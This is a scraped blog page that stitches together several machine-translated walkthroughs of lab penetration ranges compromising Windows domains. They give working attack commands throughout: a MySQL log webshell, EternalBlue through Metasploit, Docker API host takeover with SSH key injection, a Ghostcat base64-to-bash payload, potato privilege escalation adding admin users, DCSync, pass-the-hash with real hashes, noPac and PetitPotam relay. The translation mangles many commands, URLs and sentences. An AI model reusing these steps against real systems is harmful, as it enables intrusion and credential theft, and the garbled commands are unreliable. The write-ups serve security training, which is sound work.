Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863588730

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

ターゲットマシンをオンにした後、ThinkPHPアイコンを備えたログインインターフェイスがあります。直接テストするだけです

ik5rrv4oxzo3033.pngが存在します5.0.23 RCE

l0zukody33i3034.png、PHP-7.4.3の環境を確認しましょう。Disable_Functionsをご覧ください

pcntl_alarm、pcntl_fork、pcntl_waitpid、pcntl_wait、pcntl_wifexited、pcntl_wifstopped、pcntl_wifsignaled、 pcntl_wifcontinued、pcntl_weexitstatus、pcntl_wtermsig、pcntl_wstopsig、pcntl_signal、pcntl_signal_get_ha ndler、pcntl_signal_dispatch、pcntl_get_last_error、pcntl_strerror、pcntl_sigprocmask、pcntl_sigwaitinfo、pcntl_sigtimedwait、pcntl_exec、pcntl_getpriority、pcntl_setpriority、pcntl_asynciment

lefmxmf2zzg3035.pngトランスミッションはすぐに、アリの剣の接続はwww-data許可です。

2dybdct2vo53036.png以前に従った公式アカウントの下でいくつかの記事を見つけました。 Web Security Toolsライブラリは非常に完全な《Linux提权备忘录》です

許可を与えられている猫/などを試してみてください。

l5mlmr1ymxm3037.pngこのウェブサイトはコマンドの標高のリファレンスを提供できます

bgbe1yabpzk3038.pngは、mysql、sudo mysql -e 'を使用して実装できます! cat /root/flag/flag01.txt 'フラグの最初の部分を取得します

43omywaba5m3039.pngifconfigチェックIP

bys3mdkv3xj3040.png fscanをパスアップしてセクションC、/FSCAN_AMD64 -H 172.22.1.1/24でスキャンして、結果は現在のresult.txtになりました。

172.22.1.18:3306オープン

172.22.1.2:88オープン

172.22.1.21:445オープン

172.22.1.18:445オープン

172.22.1.2:445オープン

172.22.1.21:139オープン

172.22.1.18:139オープン

172.22.1.2:139オープン

172.22.1.21:135オープン

172.22.1.18:135オープン

172.22.1.2:135オープン

172.22.1.18:80オープン

172.22.1.15:80オープン

172.22.1.15:22オープン

[*] 172.22.1.2(Windows Server 2016 Datacenter 14393)

[+] 172.22.1.21 MS17-010(Windows 7 Professional 7601サービスパック1)

[+] NetInfo:

[*] 172.22.1.21

[ - ] Xiaorang-Win7

[ - ] 172.22.1.21

[+] NetInfo:

[*] 172.22.1.18

[ - ] Xiaorang-OA01

[ - ] 172.22.1.18

[+] NetInfo:

[*] 172.22.1.2

[ - ] DC01

[ - ] 172.22.1.2

[*] 172.22.1.2 [+] DC Xiaorang \ DC01 Windows Server 2016 DataCenter 14393

[*] webtitle:3333333333333:200 code:200 len:5578 title33:bootstrapマテリアル管理者

[*] 172.22.1.18 Xiaorang \ Xiaorang-OA01 Windows Server 2012 R2 DataCenter 9600

[*] 172.22.1.21 __msbrowse __ \ xiaorang-win7 Windows7 Professional 7601サービスパック1

[*] webtitle:333333333333:3:302 len:0 title:NoneジャンプURL: 3http://172.22.1.18?M=ロギー

[*] webtitle:3333333333333333http://172.22.1.18?M=Login Code:200 LEN3:4012 Title:Signコールコラボレーションオフィスシステム

[+] http://172.22.1.15 POC-YAML-THINKPHP5023-METHOD-RCE POC1

.15は見る必要はありません。21は永遠の青の存在を伴うWin7、18はOAを呼び出すシステムであり、2はドメインコントロールです

NPS+Proxifier Proxyを使用した転送、最初に.18を見てください

pndzxcefyak3041.pngそれを行うには2つの方法があります。 1つ目は、コールOAのファイルアップロード脆弱性をターゲットにすることです。 Master Y4Tackerの記事を参照できます。弱いパスワードadmin/admin123を使用してログインし、Expを入力してください。

2番目の方法は、 /phpmyAdminを使用して直接ルート /ルートをログインし、ログを使用してWebShellに書き込むことです。

dwy4ucpfing3042.png最初のステップは、「一般%」のようなショー変数を実行することです。ログが有効になっているかどうかを確認し、保存されているログの場所を確認します

wx2wq5iloax3043.png秒ステップSET GLOBAL general_log=on;ログをオンにします

3qcksgdro213044.png 3番目のステップは、ログ保存場所を設定するためにグローバルgeneral_log_fileを設定します

z03oex2mrph3045.png最後に '?php eval($ _ post [cmd]);

ut03iym0s3a3046.png次に、21はWin7マシンです。 MS17-010に電話することができます。試した後、ネットワークを離れることはできません。フォワードモニタリングを使用できます。

最初にプロキシをハングアップし、Proxychains MSFConsoleをSocks5トラフィックに移動し、次にExploit/Windows/SMB/MS17_010_ETERNALBLUE=SET PAYLOAD WINDOWS/X64/METERPRETER/BIND_TCP_UUID=SET RHOSTS 172.22.1.21=ExploitiTloit

j5bwwrqm1zo3047.png正のメータープレターシェルを取得した後、次のステップはDCSYNCを使用することです

DCSYNCの導入については、この記事を参照できます。最大の機能は、ドメインコントロールにログインせずにドメイン制御に関するデータを取得できることです。

KiwiをMSFの下に直接ロードし、その後Kiwi_cmd 'lsadump3:3360dcsync /domain:xiaorang.lab /all /csv' exitエクスポートハッシュハッシュをドメイン内のすべてのユーザーに対してハッシュします。

xzabqfaexh23048.pngは.2の前にスキャンされ、445ポートを開きます。 SMBハッシュを使用して、Kaliに付属のCrackMapexecで直接渡します。プロキシチャインCrackmapexec SMB 172.22.1.2 -U管理者-H 10CF89A850FB1CDBE6BB432B859164C8 -D XIAORANG.LAB -X '$ CMD'

haje1iuu2y13049.pngオリジナルリンク:http://119.45.47.125/index.php/2022/11/24/yunjing-4/

0x1情報

image

射撃範囲の住所:https://yunjing.icunqiu.com/ranking/summary?id=bzmfnfpvudu射撃範囲環境は、ウェブからイントラネット、ドメインまでの環境が完了しており、質問を設定するというアイデアは非常に良いです。興味があれば、遊ぶことができます。

0x2 recon

ターゲット外部IP39.98.34.149NMAP結果

\ username :管理者、パスワード:123456

image

コマンド実行image

0x03エントリポイント:172.22.4.36

シェルimage

すばやく通過します:エントリマシンには特別なものがなく、ルートする権限を上げることができません(ルートするために権限を上げる必要はありません)。 stapbpf suidは使用できませんでした

DIFF SUID imageFLAG01DIFF-LINE-FORMAT=%L/DEV/NULL /HOME/FLAG/FLAG01.TXT imageFLAG01

3つのマシン172.22.4.19 fileserver.xiaorang.labの情報を取得します

172.22.4.7 DC01.XIAORANG.LAB

172.22.4.45 win19.xiaorang.lab

flag01プロンプトユーザー名+ rockyou.txtを使用して爆発し、有効な資格情報(プロンプトパスワードの有効期限が切れる)を作成します。システムでマシンアカウントを取得します。

デスクトップimageには、この列に従ってください。現在のユーザーAdrianは、レジストリimage image権利を完全に制御しています

MSFvenomはService Horseを生成し、SAM.BAT imageを実行します

sam.bat image

レジストリを変更してサービスを有効にすると、デスクトップはSAM、セキュリティ、システムimageを取得します。 Administrator:500:AAD3B435B51404EEAAD3B435B51404EE:BA21C629D9FD56AFF10C3E826323E6AB3:33333333:3360

$ Machine.ACC: AAD3B435B51404EEAAD3B435B51404EE:917234367460F3F2817AA4439F97E636image

flag02 imageマシンアカウントを使用したドメイン情報の収集トリガーを強制的にWin19に戻し、DC01 image imageBase64のTGTデコードのTGTを取得するためにDC01.KIRBI imageDCSYNC Get Domain Managements image

0x04 PWING WIN19-172.22.4.45

PSEXEC-FLAG03 image

0x05 DCテイクオーバー-172.22.4.7

ヒントのマスターアルファブグ(0x03-0x04)に感謝します。 https://www.freebuf.com/articles/web/352151.html

0x00イントロ

OSCP浸透スタイル、C2やMSFなどのツールを残すことは難しくありません

0x01情報

TAG: JDBC、Exchange、NTLM、COERCE認証、DCSYNC napv2xepems3012.png

0x02 Recon

ターゲット外部IP39.98.179.149NMAP結果zcf0nwzlb1z3013.png 8000ポートに直接従います。私は以前にすでに80を逃したことがあり、直接合格するものはありません。pawphea1rc03014.png Huaxia ERP、多くの抜け穴があり、エントリポイントは長い間立ち往生しており、後でJDBCを見て、Google検索後に兄の記事を直接検索しました。

FastJsonのハイバージョンマジックトリック-BMTH (bmth666.cn)(http://www.bmth666.cn/bmth_blog/2022/10/19/fastjson%E9%ABA98%E7%89%88%E6%9C%AC%E7%9A%84%A5%A5%87% E6%8a%80%E6%B7%AB%E5%B7%A7/#%E8%93%9D%E5%B8%B8%BD%E6%9D%AF2022%E5%86%B3%E8%B5%9B-%E8%B5%8C%E6%AA)構造ペイロードzivwxuyr0re3015.pngConfigure mysql_fake_server 3x5yycchxzqq3016.png unauthorized + mysqlコネクタJDBCデシリア化の組み合わせパンチダイレクトRCE nbedklispgr3017.pngrce直接買収後の直接取得後kyi51fgprvv3018.png6950660kyi51fgprvv3018.png

0x03エントリポイント:172.22.3.12

SMB SMBは、イントラネットホストをスキャンし、Exchangeキーワード(EXC01)を確認し、i52qwlfsc2l3019.png172.22.3.9にアクセスしようとします。 Exchange mvh1xfvyus13020.pngProxylogonを直接倒して、システム許可を取得するr5rq5ru3mwa3021.png cymhdpuosf33022.pngFLAG02(その後の短い資格情報コレクション)ohwcb4ytjow3023.png

0x04エントリポイント:172.22.3.9

Fast Forward 1:Exchange Machineアカウントのハッシュが収集されました2:同時に、ドメインアカウント資格情報が収集されました:Zhangtongは上記の操作を通じてExchange Machineアカウントのハッシュを収集しました。 Exchange Machineアカウントには、ドメイン内のドメインオブジェクト全体のACL許可が書かれています。次に、dacledit.pyを使用してZhangtongにDCSync権限を追加します(実際、DCSYNCを自分に追加することもできます)3j14y3zjn2x3024.pngDCSYNCとユーザーLumia lzvg4y3en3w3025.pngのハッシュを取得して172.22.3.2.2.3.2.2.cymhdpuosf33022.png-6951cymhdpuosf33022.png10149514951495149514951495149514951013

0x05ファイナル:172.22.3.26

172.22.3.26 4t2idhth31u3026.pngを超えるLumiaユーザーフォルダーにsecret.zipがあります。 attachment, which is full of mobile phone number ipagftkwhtb3027.png Regular operation, convert to a hash in pkzip format and runs the dictionary, and runs out the password gidqi1a5gxb3028.png rruinddbngu3029.png e0d3ffs2e403030.pngflag03 i1prwh2nvzd3031.png rpo5rlkkkmo3032.png

0x06 outro

交換後、著者の当初の意図は、NTLMリレーを使用してDCSYNCアップグレードを完了し、交換システムの許可を取得し、WebDAVをトリガーしてLDAPにリレーすることです。興味がある場合は、以前の記事を読むことができます。著者はまた、Lumiaユーザーのパスワードを変更することを望んでいますが、私は怠け者です。直接PTHオリジナルリンク:https://www.anquanke.com/post/id/286967

命令

不正は、中程度の難易度を持つ射撃範囲環境です。この課題を完了することで、プレイヤーはプロキシ転送、イントラネットスキャン、情報収集、特権エスカレーション、およびイントラネット浸透における横方向の動きの技術的方法を理解し、ドメイン環境のコア認証メカニズムの理解を強化し、ドメイン環境の浸透に興味深い技術的ポイントを習得するのに役立ちます。射撃場には3つのフラグがあり、さまざまなターゲットマシンに配布されています。

テクノロジー

FTP、特権標高、AD CS、Kerberos、ドメイン浸透

最初のフラグ

dockerは承認されていません

外部ネットワーク情報を通じて収集された、Dockerが許可されていないことがわかった

https://cloud.tencent.com/developer/article/1744943

1049983-20230307110439373-897625583.pngミラーを表示します

Docker -H TCP3360 //47.92.7.138:2375画像1049983-20230307110440125-1811605968.pngコンテナの閲覧

Docker -H TCP3360 //47.92.7.138:2375 PS -A 1049983-20230307110440734-1869544517.pngコンテナを起動し、ホストディスクを/MNTにマウントします

Docker -H TCP3360 //47.92.7.138:2375 RUN -IT -V/:/MNT -ENTRYPOINT/BIN/BASH/BASH UBUNTU:18.04 1049983-20230307110441418-169215008.png

公開鍵を書きます

を生成します。 Enterを押した後、3つの相互作用があります。最初のものはファイル名で、デフォルトではID_RSAです。変更する必要がある場合は、ファイル名を自分で入力してください。 2番目と3番目は、パスワードと確認パスワードです。これは、将来公開キーを使用するときに入力するパスワードです。それらは通常設定されていません。強力なセキュリティニーズがある場合は、自分で設定できます。最後に、2つのファイルid_rsa、id_rsa.pubが生成されます。pubのエンディングは公開キーであり、もう1つは秘密鍵です

ssh-keygen -t rsa 1049983-20230307110442223-521307798.pngターゲットマシンホストの/root/.ssh/authorized_keysファイルに公開キーを書き込む

cd /mnt/root/.ssh/

Echo 'SSH-RSA AAAAB3NZAC1YC2 ..' Authorized_Keys 1049983-20230307110443198-1135312253.png秘密キーをローカルで直接SSHに直接ログインできます

1049983-20230307110443995-1365905384.pngフラグを調べて、旗がここにないように促します

1049983-20230307110444805-1391905342.png

mysql弱いパスワード

このマシンの開いたポートを表示します

netstat -aptn 1049983-20230307110445835-921831822.png履歴コマンドを確認し、MySQLパスワードが123456であることを確認します。実際、爆破することもできます。

履歴1049983-20230307110446520-658369048.pngアクセスmysqlデータベース

mysql -uroot -p123456

MySQLショーデータベース。

mysqlは秘密を使用します。

MySQLは表を表示します。

mysql select * from f1agggg01から最初のフラグを取得します

1049983-20230307110447244-1248407839.png

secondフラグ

ハンドアロンの浸透

アップロードNPC設定プロキシ、FSCANスキャン172.22.7.0/24

172.22.7.67:8081オープン

172.22.7.13:80オープン

172.22.7.13:22オープン

172.22.7.67:445オープン

172.22.7.31:445オープン

172.22.7.67:21オープン

172.22.7.63360445オープン

172.22.7.67:80オープン

172.22.7.67:139オープン

172.22.7.31:139オープン

172.22.7.6:139オープン

172.22.7.31:135オープン

172.22.7.67:135オープン

172.22.7.6:135オープン

172.22.7.6:88オープン

172.22.7.13:2375オープン

[+] NetInfo:

[*] 172.22.7.6

[ - ] DC02

[ - ] 172.22.7.6

[*] 172.22.7.67 Xiaorang \ win-9bmcsg0s

[*] webtitle:33333333333333:200 len:27170 title:xxデコレーション

[+] NetInfo:

[*] 172.22.7.67

[ - ] win-9bmcsg0s

[ - ] 172.22.7.67

[+] NetInfo:

[*] 172.22.7.31

[ - ] ADCS

[ - ] 172.22.7.31

[*] 172.22.7.31 Xiaorang \ adcs

[*] 172.22.7.6 [+] DC Xiaorang \ dc02

[*] webtitle:333333333333333333:2375 code:404 len:29 title:none

[+] ftp: //172.22.7.67:213360anonymous

[ - ] 1-1p3201024310-l.zip

[ - ] 1-1p320102603c1.zip

[ - ] 1-1p320102609447.zip

[ - ] 1-1P320102615Q3.ZIP

[ - ] 1-1p320102621j7.zip

[ - ] 1-1p320102j30-l.zip

[*] webtitle:33333333333:200 code:200 len:703 title:iis windowsサーバー

[*] webtitle:3333333333333333:8081 code:200 len:4621 title33:会社管理バックエンド

[+] http://172.22.7.13:2375 POC-YAML-DOCKER-API-UNAOTORIZED-RCE

[+] http://172.22.7.67:8081/www.zip poc-yaml-backup-file

[+] http://172.22.7.13:2375 Poc-Yaml-go-pprof-Leak 010-3http://172.22.22.7.67:8081/www.zipバックアップ圧縮パッケージ。減圧後、ダウンロードフォルダーが匿名でログに記録されているFTPの共有ファイルと一致していることがわかりました

したがって、1049983-20230307110448166-1687460793.pngしたがって、WebShellはFTPを介してアップロードできます

1049983-20230307110449088-758201621.pngシェルアドレス

http://172.22.7.67:8081/download/shell.asp 1049983-20230307110449800-657193850.pngジャガイモを直接使用して権利を増やし、sweetpotato.exeをアップロードします

sweetpotato.exe -a 'whoami' 1049983-20230307110450532-2131991191.pngテスト後、3389が有効になります。アカウントを直接追加してログインします

sweetpotato.exe -a 'ネットユーザーdevyn admin@123 /add'

sweetpotato.exe -a 'net localgroup管理者devyn /add' 1049983-20230307110451238-67786808.png Get Flag

1049983-20230307110451947-1217760269.png

ftp認定

この新しく作成されたユーザーはドメインコマンドを実行できないため、ドメインアカウントを照会してからPTHでログインする必要があることに注意してください。パスワードを見つけた場合は、直接ログインできます。実際、シェル内のMimikatzを直接実行してハッシュをつかむことができます。ここのリモートデスクトップは、CMDを使用して実行する方が便利です。

ドメインアカウントをrawったZhangfeng/fenzgtavf6en、ドメインアカウントで再度ログインするには、zhangfeng@xiaorang.labにユーザー名を入力する必要があることに注意してください。

1049983-20230307110452716-534730590.png

shurd 3番目のフラグ

https://wiki.whoamianony.top/active-directory-methodology/shadow-credentials

次のアカウントには、MSDS-Keycredentiallinkプロパティへの書き込み許可があります。

ドメイン管理者アカウント主要な管理者グループアカウントエンタープライズキー管理者グループアカウントを備えたアクティブディレクトリのオブジェクトへの一般的または汎用ライターのアクセス許可は、主要な管理者グループのMSDS-KeycredentiallinkプロパティZhangfengアカウントへの書き込み権限を持っています。

1049983-20230307110453410-454769109.pngADDドメインコントローラーのMSDS-KeyCredentiAllinkプロパティへの影の資格情報

whisker.exe add /target:dc02 $ /domain:xiaorang.lab /dc:dc02.xiaorang.lab 1049983-20230307110454285-1911397589.png919追加の追加が成功した後、プログラムは証明書の認証に基づくTGTチケットを要求するコマンドを促します。プロンプトコマンドが最後に /PTTに追加されることに注意してください

1049983-20230307110455197-1657870621.pngドメインコントローラーアカウントには特権があり、Mimikatzを使用してDCSYNCを実行してドメインハッシュをエクスポートできます

mimikatz.exe 'privilege:3360debug' 'lsadump:dcsync /domain:xiaorang.lab /user3360administrator'出口1049983-20230307110455933-1868157370.png 00000000000000000000000000000000003360BF967C5A0F7256E2EABA589FBD29A382 ADIVISTORATOR@172.22.7.6 1049983-20230307110456914-34394100.png 1049983-20230307110457900-1641963904.png元のリンク: https://zhuanlan.zhihu.com/p/581451146

0x01 - 情報

TAG: Tomcat、NTLM、WebClient、COERCE AUTHURTINATION、NOPAC 5f3flifo2tk2965.png

0x02 - 再

ターゲット外部IP 47.92.146.66

NMAPの結果

ポート8009(AJP)に焦点を当てることは、Tomcat(射撃範囲のTomcatタグに対応)bv44lihq3zu2966.pngディレクトリスキャンを意味します。404ページはTomcat 9.0.30 f2dp2nzldoh2967.pngとして表示されます。

このプロジェクトでテストします

https://github.com/00theway/ghostcat-cnvd-2020-10487

/web-inf/web.xml yyqkiz4ro432968.pngを読み取ります

url-pattern結果は辞書4gvwxkrov1p2969.pngとして保存されます

FFUF vrdcpmabyoe2970.png

UploadServlet 1ghojgom34o2971.pngをフォローしてください

Temp.txt f0lkwzqqij32972.pngをアップロードします

ファイルアドレスc20vdvfozh52973.png./upload/7dbbdee357b4472f5aad6b8ce83980ddddddddddddddddddddddddddddddddddddd.

./upload to /uploadを交換し、アップロードされたファイルを正常に読み取ります

Python3 ajpshooter.py http://47.92.146.66:8080 8009/upload/7dbbbdee357b4472f5aad6b8ce83980dd/202212060934444444444444444444444444444444444444440839.t

asroozh1fbh2974.png

0x03 - Ghostcatコマンド実行

shell.txt m1qwehukkqp2975.png%java.io.inputStream in=runtime.getRuntime()。 {echo、zwnobyaic3nolxjzysbbqufbqjnoemfdmxljmkvbqufbrefrqujbqufcz1fdl3nkady4uk5hwktlaknqae40wuxpsnj4edr3n3n3jtbgcc FRMMTNYNHVKZLPFZM4YU25SCE9RDXQ0OE1LDURHOETDCXCZRW0ZNU9ODXXDUA2P3ZEKVRGHGN3ZSETB0T2XTWDE5NMJHCXPNDE5PM1YZUHEXC3NC mzv5ui85shj6zjvedhdqs2nkdkphv0ruzzu2uwhzjlnr21vduzvqwv2qjdsuwl3a01fnwnxtzvsqtrwum5kveh2ru1oqukxkkccc3mtbeewnkt28 rngh1tgnnvjzhdus3uxdktwdnn0oyu2u5tepgzwk2r2g0amjusgrhdmnbvvvjvvvvjzefi4qvnxsmnqy29tm2dmuee1uwnxszznznznznznznznznznznznznznznznznznznznznznznznznznznznznznznznznznznznznznznznznznznznznznznznzs r3cejwwwlfuglhchlqrqr2y1t3eruu0xqmjyr0gvtlrbynzwa3dznbkrurwdvbnnnwhofy4c09htjixczlwazfjmvbbxaeh2wdz1ejhradrndudnq lryshlzb3dutjg3otexvdvgr0vjvzlweuh1cm9fsvjtde9sy3dbymrmc0k0nvhos1o0awoxderlntrtmmpxwxhjtjhsl1zuunv2rvvotvpgoula bdm3uw5eqnbfr25ltxfjtve4chvuzujbmngvsurhmfr6mwxjvgk5whp5wjvhetd4dtjwzstidxhwt1bsq2m9iia+piavcm9vdc8uc3nol2ff1dghv CMML6ZWRFA2V5CWOKY2HTB2QGNJAWIC9YB290LY5ZC2GVYXV0AG9YAXPLZF9RZXLZCG==} | {base64、-D} | {bash、-i} ")。 int a=-1; byte [] b=new byte [2048]; out.print( "pre"); while((a=in.read(b))!=-1){out.println(new String(b)); } out.print( "/pre");%

shell.txt ohtcdxcxizk2976.pngアップロードされたコードnjmzvilq2ku2977.pngSSH - FLAG01 infa3uyxlcr2978.pngを実行する

0x04 - ポータルUbuntu:172.22.11.76

SSH 0zovuchzfwo2979.png何もありません。aveqdtov0iy2980.pngにアクセスしてエージェントjl5dqk2iqvv2981.pngを開き、3つのホスト情報をスキャンして445をスキャンします172.22.11.45 XR-Desktop.Xiaorang.Labab

172.22.11.6 Xiaorang-DC.Xiaorang.lab

172.22.11.26 XR-LCM3AE8B.XIAORANG.LAB qhwbwdlo4fb2982.png

172.22.11.45 - Windows7 - MS17 wfr31ur1rwl2983.pngMS17 1つのGO tv3venfc4p32984.png基本操作hzlrpv2tnjv2985.png 3ebw5nwtfn52986.pngに注意してください

資格リスト管理者4430C690B4C1AB3F4FE4F8AC0410DE4A - (ローカル資格情報)

John 03CAE082068E8D55EA307B75581A8859 - (ローカル資格情報)

XR-DESKTOP $ 3AA5C26B39A226AB2517D9C57EF07E3E - (ドメイン資格情報)

yangmei 25e42ef4cc0ab6a8ff9e3edbbda91841 - xrihghgonzq(プレーンテキスト) - (ドメイン資格情報)

私は組み合わせの爆破を試しました、何もありません、私はここでデモをスキップして、ドメイン侵入リンクf4z5nvg2x3r2987.pngに直接行きました

flag2 kf1fw5w1nav2988.pngドメインユーザーyangmeiをマシンのローカル管理者に追加するfd3gzkveokg2989.pngドメイン制御IPを172.22.11.6 - Xiaorang-DC y1vbpletioe2990.pngBloodhound Collection gcmdhbmoo0y2991.png

0x05 - ドメイン浸透リンク、入学xr-desktop:172.22.11.45

これをすばやく実行しましょう(1つの文で概要:ドメインコントロールを直接削除することはできません)、Bloodhoundによって収集されたユーザー名の組み合わせを使用して取得したパスワード/ハッシュの組み合わせが爆破されました。他の新しいユーザーはMAQ=0を持っていることがわかりませんでした。コンピューターを追加できません。現在のLDAPにはTLSがなく、コンピューターをリモートで追加することはできません。インパケットの追加コンピューターには2つの方法があります。 SAMRとLDAPS。 SAMRはMAQ=0によって制限されており、コンピューターを追加できません。 LDAPSはTLS + MAQ=0で制限されています。ドメイン制御はnoPACが存在します。現在のユーザーYangmeiはNOPACを使用しており、ドメイン内のコンピューターコンテナ内のCreateChildのACLドメイン制御を殺しません。現在のユーザーYangmeiは現在のWindows Machine XR-DeskTopに手紙の許可を得ていません。つまり、DFSCoerceとPetitpotamはSamacCountNameドメインで変更できませんが、CVE-2019-1040は存在しません。 exploit:ridter/nopac: cve-2021-42278およびcve-2021-42287を悪用して、標準ドメインユーザー(github.com)petitpotamスキャン52fl5fs4vg42992.png NO ADCS + Petitpotam + NTLM Leray Play Play Plye

攻撃チェーン:Petitpotamを使用して、脆弱性のターゲットをトリガーし、WebClientサービスを有効にします。 Petitpotamを使用してターゲットをトリガーして、HTTPリレーサービスにアクセスします。ターゲットは、WebClientを使用してNTLM認証を携帯してリレーにアクセスし、その認証をLDAPにリレーし、マシンアカウントのIDを取得し、マシンアカウントとして独自のMSDS-ActonBehalfofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofoforidentity属性をマシンアカウントとして修正し、悪意のあるマシンアカウントがターゲットマシン(RBCD)へのアクセスをシミュレートして認証できるようにします。ターゲットマシンは、WebClientサービスを有効にする必要があります。

WebClientスキャン、そしてそれが勝つことしかできないことが確認されています。 172.22.11.26(XR-LCM3AE8B)x4l04pmb4l22993.pngリレー攻撃序文:実際の戦闘でのリレープレイは、80の占有サービスを停止し、ポート転送を有効にする必要があり、CSは後続のバージョンでRPORTFWD_LOCOLを追加し、クライアントローカルに直接転送します)。このデモンストレーションは、実際の戦闘プレイに似ています。入り口ubuntuにインパケットを投げることは選択しません。この操作リレー攻撃環境は:ポート転送+プロキシを構成します

現在、サーバーの80をローカルクライアントの80に転送する必要があります。SSHのリバースポート転送は127.0.0.1にしかリストであるため、現時点ではいくつかのトリックが必要です。

図に示すように、リバースポートフォワードポート79がすべてを聞くように指定している場合でも(-R \*:793360127.0.0.1:80)、ポート79はまだ127.0.0.1に結合しています(Socks5プロキシも図)uuxpin5lqvo2994.png

余分なソサットを追加して、トラフィックを0.0.0.0336080に127.0.0.1336079に転送し、クライアント側のローカル80に戻し、80を0.0.0.0 myqxsqya22q2995.pngで変装させてリッスンします。

テスト、172.22.11.76:80からのトラフィックは、地元のエリアa3ujfdfuk2j2996.pngに直接転送されます

NTLMRELAYXを開くローカル注:前述のようにLDAPSがないため、addComputerを使用することはできないため、IPを使用してRBCDSUDO ProxyChainsを設定した後、IPを使用してDCに接続することはできません。 -NO-ACL -ESCALATE-USER 'XR-DESKTOP $' - DELEGATE-ACCESS nabg32phjzf2997.png Petitpotamを使用してXR-LCM3AE8Bを172.22.11.76(Ubuntu)ProxyChains4 -F〜/htb/htb/htb/htb/htb/htb/htb/spopychingにトリガーしますpetitpotam.py -u yangmei -p 'xrihghgonzq' -d xiaorang.lab ubuntu@80/pwn.txt xr -lcm3ae8b

RBCD攻撃が完了していることがわかります。次のステップは、XR-LCM3AE8Bの銀行ノートを直接申請することです。qz4fetl54p52998.png XR-LCM3AE8B CIFS Notes re3z0ciswku2999.pngに応募します

0x06 - ドメイン浸透リンク - NOPAC、入り口XR-LCM3AE8B:172.22.11.26

PSEXECFLAG03 IN C: \ USERS \ Administrator \ flag \ flag03.txt(ここにスクリーンショットなし)kfftv1wj0zl3000.pngSMBCLIENT.py 1232126B24CDF8C9BD2F788A9D7C7ED1

tkg12ri1mge3001.png

Zhanghuiだけが成功することができます。 Zhanghuiは、MA_ADMINグループにオブジェクトを作成できます。 MA_ADMINグループはコンピューター用のオブジェクトを作成できますが、BloodHound -B 'CN=コンピューター、DC=Xiaorang、DC=lab' ntsecuritydescriptor -sddl +++ 3ua4w4oelon3002.pngにadfind.exeは表示されませんでした。

Bloodhoundを見ることができません。主な理由は、CreateChildがJSON szj2yzvgn1s3003.pngに収集されず、NOPACに戻り、さらにCreate-Childパラメーターufwsw4ilyqm3004.pngに戻ったことです。

0x07 - ドメイン浸透リンク - Xiaorang-DC

NOPACが適用したCIFSチケットを使用して、DCFLAG04にログインします。 c: \ uses \ administrator \ flag \ flag04.txt(ここにスクリーンショットはありません)04o40qujktu3005.pngドメインチューブ(Mimikatzを使用してスキップ)管理者0FADB57F5EC71437D1B03EEA2CDA70B9

![[gbcrhiu21z53006.png

0x08 - 周りで遊ぶ

bloodhound.pyがcreatechildを収集できない問題を解決しようとします

Bloodhound/Enumeration/Acls.pyは実際に変数を定義しているため、ybouszjudka3007.pngと呼びます

170行目に来て、それを追加し、CreateChildを見つけて、データe020zojuslt3008.pngを追加します

Bloodhound.pyをもう一度実行し、コンテナの結果を観察し、すでに関連するデータがあることを確認します。 RID 1132=MA_ADMINグループcteptyqljev3009.png

Bloodhound Diagram、しかしデータはまだ面倒ですgo4jiixgh313010.png元のリンク:https://www.anquanke.com/post/id/285771

0x1情報

tag:

MSSQL、特権エスカレーション、Kerberos、ドメイン浸透、RDP image

範囲アドレス:https://yunjing.icunqiu.com/ranking/summary?id=bzmfnfpvudu

0x2 recon

ターゲット外部IP47.92.82.196nmap SA:1QAZ!QAZ image

0x3エントリポイントmssql -172.22.8.18

序文、このマシンはドメインMSSQLシェルに直接はありません(ここでスクリーンショットを撮るのを忘れていました.)

getClsid.ps1を変更し、実行ポテトimageを追加します

ジャガイモとgetclsid.ps1 image

getclsid.ps1 imageを実行します

有効なCLSIDおよびコマンド実行結果image Export SAM、System、Security imageを取得する

資格情報を解決し、管理者+ psexec 139を水平に使用して(外部ネットワークは445を開けません)flag01administrator 2CAF35BB4C5059A3D50599844E2B9B1F image550-69510に来るマシンを把握するためにポート接続image管理者PSEXECを使用してMSF(システム許可)、Incognitoモジュールを使用し、Johnをシミュレートします(MSFのIncognitoのみが後続の操作を完了することができるとテストしました。image \\ tsclient \ cの下の資格情報を直接取得し、ハイジャック画像をプロンプト(ミラーハイジャック)xiaorang.lab \ aldrich:ald@rlmwuy7z!#image cme scan scan scan scan scan scan scan scan skip the cme scan skip the cme scan skip the cme scan scanマシンは、パスワードの有効期限が切れていることを促します。imageテストDC01ポート88が有効であるかどうか(ドメイン制御がドメインコントロールであるかどうかをテスト)、DC01はドメインコントロールSMBPASSWD.py 111QQQQQをリモートで変更し、imageLDAPSHELL.PYAFIFACIAL、LOGIN DOMAN列挙RDPは、172.22.8.46をログインして入力できることを示しています(公式のCME RDPモジュールを使用して、有効なRDP資格情報をスキャンしません。XFreerDPに基づいてCMEモジュールを書きました)

Xiaolichan/CrackMapexec-Extension image

0x4ドメイン浸透 - 入り口-172.22.8.46

ログインと表示Xiaorang.lab \ aldrichはこのマシンの管理者ではなく、当局を増やすための普通のユーザーです。 2つの方法

PRIV-ESC1:ミラーハイジャックの標高(一般)

get-aclはレジストリ「HKLM: \ Software \ Microsoft \ Windows NT \ CurrentVersion \ Imageファイルの実行オプション」に書き込み、操作imageを作成できます。

gmagify.exe(拡大ガラス)をハイジャックし、cmd.exeimageを実行するレジストリを作成します

ユーザーimageをロックします

拡大ガラスimageをクリックします

システムimageに権限を向上させます

PRIV-ESC2:Krbrelayupのエスカレーション

ドメイン通常の許可ユーザーは、ドメイン内のマシンを直接(型破り、推奨)

0x5ドメイン浸透-DCテイクオーバー

2つの方法Win2016 $のグループ関係を観察し、それがドメイン管理グループにあることを発見します。 DCSYNCを使用して、DC01を直接奪う(プロセスは省略)image制約委任(型破り)

Bloodhoundはドメイン情報を収集し、分析し、制約委任imageがあることを発見します

getSt.py imageを使用した制約付き委任攻撃

DC01 image

オリジナルリンク:https://www.freebuf.com/articles/system/352237.html

命令

